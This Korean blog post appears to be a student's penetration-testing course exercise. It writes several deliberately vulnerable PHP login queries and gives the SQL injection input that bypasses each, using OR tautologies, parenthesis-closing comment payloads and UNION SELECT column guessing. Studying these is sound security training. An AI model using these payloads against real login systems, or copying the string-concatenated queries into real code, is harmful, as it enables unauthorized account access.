본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 3주차 해킹과제] 로그인 로직 만들기(2), SQL InJection

어제 만든 것 이어서 더 만들겠습니다!

SQL Injection 공격이 통하는 로그인 로직을 최대한 많이 알기 위해 하는 것입니다.

.

.

.

.

.

 

-11번째

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT id,pw FROM test WHERE id='$login_id' AND pw = '$login_pw' ";

 

이번엔 id와 pw 만 들고 오게 했네요

 

id : admin' OR '1'='1

pw : qqqq

 

이쯤 되면 OR 구문이 너무 좋은거 같네요

 

-12번째

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT id,pw FROM test WHERE (id='$login_id') AND (pw = '$login_pw') ";

 

이번엔 괄호가 있네요

전에 괄호 있을 때 썼던 sql 문을 적읍시다

 

id : admin')#

pw: qqqq

 

알고나면 쉽죠

 

 

-13번째

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT id,pw FROM test WHERE id='$login_id'
    AND pw = '$login_pw' ";

 

이번엔 한 줄이 띄어져 있네요 이러면 주석으로 공격하기 힘들죠

그래도 전에 썼던 방법이랑 같게 공격하면 됩니다!

 

id: admin' OR '1'='1

pw : qqqq

 

 

 

 

-14번째

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT id,pw FROM test WHERE (id='$login_id')
    AND (pw = '$login_pw') ";

 

이번엔 한 줄 띄고 각각 괄호 쳤네요!

 

id: admin') OR ('1' = '1

pw : qqqq

 

이러면 되겠네요!

 

SQL Injection 매우 위험하다는게 느껴지네요

 

 

-15번째

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT id,pw FROM test WHERE pw = '$login_pw' AND id = '$login_id' ";

 

이번엔 pw 먼저 찾네요!

이러면 머리가 조금 아파집니다.

 

만약 전에 했던 데로 하다간

 

AND 구문 먼저 실행하게 되어서 예상과 다르게 다른 계정으로 들어가집니다.

 

이때 저희는 union을 이용하면 됩니다.

 

보시면 select id,pw에서 칼럼 순이 id 다음 pw을 출력을 한다는 걸 알 수 있습니다.

그리고 칼럼 수가 2개 출력되는 걸 알 수 있죠!

 

Q. 저희 실제로는 php 코딩을 못 봐서 칼럼 수가 몇 개인지 모르잖아요?

A. 방법이 있습니다! 그 방법은 다음에 말씀드리겠습니다 일단 지금은 찍어서 맞췄다고 하죠!

 

id: admin' union select 'admin','qqqq

pw: qqqq

 

 

생각보다 별거없죠?

 

-16번째 

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE pw = '$login_pw' AND id = '$login_id' ";

 

이번엔 칼럼을 전부 불러온다고 하네요!

 

찍는 방법을 알려드리자면

 

먼저 admin' union select 'qqqq,'qqqq','qqqq ....  이렇게 반복해서  ID에 적어 봅니다.

이유는 저희가 칼럼이 출력되는 순서를 모르기 때문이죠!

 

ID : admin' union select 'qqqq','qqqq','qqqq

pw : qqqq

 

성공했네요!

 

그럼 칼럼 수가 3개인 것을 알 수 있습니다.

 

이제 id가 어디에 위치하고 있는지 qqqq 대신에 admin을 일일이 대입합니다

 

ID: admin' union select 'qqqq','admin','qqqq

PW: qqqq

 

2번째는 아니네요

 

ID : admin' union select 'admin','qqqq','qqqq

pw : qqqq

 

성공!

.

.

.

.

.

.

여기까지 작성하겠습니다!

 

식별&인증 따로 하는 과정에서 pw먼저 즉, 인증 먼저 하는 경우도 추가하려다가 말았습니다!

 

왜냐하면 인증 먼저하는 개발자는.. 없겠죠..?

 

만약 있다면 pw에 union 구문 넣어서 똑같이 진행하시면 됩니다!

.

.

.

.

생각보다 많네요 머리를 짜네여서 약간 억지로 적은 감이 있었습니다.

 

그래도 큰 경험이 됐습니다! 다음 글에 뵙도록 하겠습니다